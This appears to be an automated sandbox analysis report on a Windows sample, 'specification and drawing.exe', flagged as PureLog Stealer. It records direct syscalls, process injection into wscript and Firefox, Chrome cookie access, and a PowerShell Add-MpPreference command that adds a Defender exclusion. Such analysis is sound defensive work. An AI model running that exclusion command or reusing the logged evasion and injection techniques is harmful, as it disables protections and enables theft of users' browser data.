Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010DAD00 mov eax, dword ptr fs:[00000030h]	4_2_010DAD00
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010F4D1D mov eax, dword ptr fs:[00000030h]	4_2_010F4D1D
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010B6D10 mov eax, dword ptr fs:[00000030h]	4_2_010B6D10
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010B6D10 mov eax, dword ptr fs:[00000030h]	4_2_010B6D10
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010B6D10 mov eax, dword ptr fs:[00000030h]	4_2_010B6D10
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01148D20 mov eax, dword ptr fs:[00000030h]	4_2_01148D20
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010C8D59 mov eax, dword ptr fs:[00000030h]	4_2_010C8D59
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010C8D59 mov eax, dword ptr fs:[00000030h]	4_2_010C8D59
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010C8D59 mov eax, dword ptr fs:[00000030h]	4_2_010C8D59
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010C8D59 mov eax, dword ptr fs:[00000030h]	4_2_010C8D59
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010C8D59 mov eax, dword ptr fs:[00000030h]	4_2_010C8D59
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010C0D59 mov eax, dword ptr fs:[00000030h]	4_2_010C0D59
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010C0D59 mov eax, dword ptr fs:[00000030h]	4_2_010C0D59
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010C0D59 mov eax, dword ptr fs:[00000030h]	4_2_010C0D59
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01158D6B mov eax, dword ptr fs:[00000030h]	4_2_01158D6B
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010F6DA0 mov eax, dword ptr fs:[00000030h]	4_2_010F6DA0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010E8DBF mov eax, dword ptr fs:[00000030h]	4_2_010E8DBF
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010E8DBF mov eax, dword ptr fs:[00000030h]	4_2_010E8DBF
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01194DAD mov eax, dword ptr fs:[00000030h]	4_2_01194DAD
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01188DAE mov eax, dword ptr fs:[00000030h]	4_2_01188DAE
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01188DAE mov eax, dword ptr fs:[00000030h]	4_2_01188DAE
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010FCDB1 mov ecx, dword ptr fs:[00000030h]	4_2_010FCDB1
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010FCDB1 mov eax, dword ptr fs:[00000030h]	4_2_010FCDB1
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010FCDB1 mov eax, dword ptr fs:[00000030h]	4_2_010FCDB1
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01144DD7 mov eax, dword ptr fs:[00000030h]	4_2_01144DD7
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01144DD7 mov eax, dword ptr fs:[00000030h]	4_2_01144DD7
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010EEDD3 mov eax, dword ptr fs:[00000030h]	4_2_010EEDD3
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010EEDD3 mov eax, dword ptr fs:[00000030h]	4_2_010EEDD3
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010BCDEA mov eax, dword ptr fs:[00000030h]	4_2_010BCDEA
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010BCDEA mov eax, dword ptr fs:[00000030h]	4_2_010BCDEA
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01160DF0 mov eax, dword ptr fs:[00000030h]	4_2_01160DF0

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Source: C:\Users\user\Desktop\specification and drawing.exe

Memory allocated: page read and write | page guard

Adds a directory exclusion to Windows Defender

HIPS / PFW / Operating System Protection Evasion

Source: C:\Users\user\Desktop\specification and drawing.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\specification and drawing.exe"
Source: C:\Users\user\Desktop\specification and drawing.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\specification and drawing.exe"			Jump to behavior

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe	NtResumeThread: Direct from: 0x773836AC	Jump to behavior
Source: C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe	NtMapViewOfSection: Direct from: 0x77382D1C	Jump to behavior
Source: C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe	NtWriteVirtualMemory: Direct from: 0x77382E3C	Jump to behavior
Source: C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe	NtProtectVirtualMemory: Direct from: 0x77382F9C	Jump to behavior
Source: C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe	NtSetInformationThread: Direct from: 0x773763F9	Jump to behavior
Source: C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe	NtCreateMutant: Direct from: 0x773835CC	Jump to behavior
Source: C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe	NtNotifyChangeKey: Direct from: 0x77383C2C	Jump to behavior
Source: C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe	NtSetInformationProcess: Direct from: 0x77382C5C	Jump to behavior
Source: C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe	NtCreateUserProcess: Direct from: 0x7738371C	Jump to behavior
Source: C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe	NtQueryInformationProcess: Direct from: 0x77382C26	Jump to behavior
Source: C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe	NtResumeThread: Direct from: 0x77382FBC	Jump to behavior
Source: C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe	NtWriteVirtualMemory: Direct from: 0x7738490C	Jump to behavior
Source: C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe	NtAllocateVirtualMemory: Direct from: 0x77383C9C	Jump to behavior
Source: C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe	NtReadFile: Direct from: 0x77382ADC	Jump to behavior
Source: C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe	NtAllocateVirtualMemory: Direct from: 0x77382BFC	Jump to behavior
Source: C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe	NtDelayExecution: Direct from: 0x77382DDC	Jump to behavior
Source: C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe	NtQuerySystemInformation: Direct from: 0x77382DFC	Jump to behavior
Source: C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe	NtOpenSection: Direct from: 0x77382E0C	Jump to behavior
Source: C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe	NtQueryVolumeInformationFile: Direct from: 0x77382F2C	Jump to behavior
Source: C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe	NtQuerySystemInformation: Direct from: 0x773848CC	Jump to behavior
Source: C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe	NtReadVirtualMemory: Direct from: 0x77382E8C	Jump to behavior
Source: C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe	NtCreateKey: Direct from: 0x77382C6C	Jump to behavior
Source: C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe	NtClose: Direct from: 0x77382B6C
Source: C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe	NtAllocateVirtualMemory: Direct from: 0x773848EC	Jump to behavior
Source: C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe	NtQueryAttributesFile: Direct from: 0x77382E6C	Jump to behavior
Source: C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe	NtSetInformationThread: Direct from: 0x77382B4C	Jump to behavior
Source: C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe	NtTerminateThread: Direct from: 0x77382FCC	Jump to behavior
Source: C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe	NtQueryInformationToken: Direct from: 0x77382CAC	Jump to behavior
Source: C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe	NtOpenKeyEx: Direct from: 0x77382B9C	Jump to behavior
Source: C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe	NtAllocateVirtualMemory: Direct from: 0x77382BEC	Jump to behavior
Source: C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe	NtDeviceIoControlFile: Direct from: 0x77382AEC	Jump to behavior
Source: C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe	NtCreateFile: Direct from: 0x77382FEC	Jump to behavior
Source: C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe	NtOpenFile: Direct from: 0x77382DCC	Jump to behavior
Source: C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe	NtProtectVirtualMemory: Direct from: 0x77377B2E	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\specification and drawing.exe

Memory written: C:\Users\user\Desktop\specification and drawing.exe base: 400000 value starts with: 4D5A

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\specification and drawing.exe	Section loaded: NULL target: C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Section loaded: NULL target: C:\Windows\SysWOW64\wscript.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: NULL target: C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: NULL target: C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\wscript.exe

Thread register set: target process: 4852

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\wscript.exe

Thread APC queued: target process: C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe

Source: C:\Users\user\Desktop\specification and drawing.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\specification and drawing.exe"	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Process created: C:\Users\user\Desktop\specification and drawing.exe "C:\Users\user\Desktop\specification and drawing.exe"	Jump to behavior
Source: C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\SysWOW64\wscript.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: LfvKCNKdvt.exe, 00000007.00000002.4586766630.0000000001AC0000.00000002.00000001.00040000.00000000.sdmp, LfvKCNKdvt.exe, 00000007.00000000.2312450683.0000000001AC1000.00000002.00000001.00040000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590510372.0000000000E61000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: IProgram Manager
Source: LfvKCNKdvt.exe, 00000007.00000002.4586766630.0000000001AC0000.00000002.00000001.00040000.00000000.sdmp, LfvKCNKdvt.exe, 00000007.00000000.2312450683.0000000001AC1000.00000002.00000001.00040000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590510372.0000000000E61000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: LfvKCNKdvt.exe, 00000007.00000002.4586766630.0000000001AC0000.00000002.00000001.00040000.00000000.sdmp, LfvKCNKdvt.exe, 00000007.00000000.2312450683.0000000001AC1000.00000002.00000001.00040000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590510372.0000000000E61000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: LfvKCNKdvt.exe, 00000007.00000002.4586766630.0000000001AC0000.00000002.00000001.00040000.00000000.sdmp, LfvKCNKdvt.exe, 00000007.00000000.2312450683.0000000001AC1000.00000002.00000001.00040000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590510372.0000000000E61000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\specification and drawing.exe	Queries volume information: C:\Users\user\Desktop\specification and drawing.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\specification and drawing.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Yara detected PureLog Stealer

Source: Yara match	File source: 4.2.specification and drawing.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.specification and drawing.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.2400421345.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.4581614710.0000000000750000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.4592454426.0000000004B70000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2401176438.0000000001030000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.4590637504.0000000004660000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.4590687371.00000000046B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.4589607610.0000000003BF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2402440519.0000000001E90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: Yara match	File source: 0.2.specification and drawing.exe.56c0000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.specification and drawing.exe.3de24c8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.specification and drawing.exe.3de24c8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.specification and drawing.exe.56c0000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.specification and drawing.exe.2e3d4b0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2187012973.00000000056C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2179156189.0000000003DC9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2178181816.0000000002E0F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\wscript.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
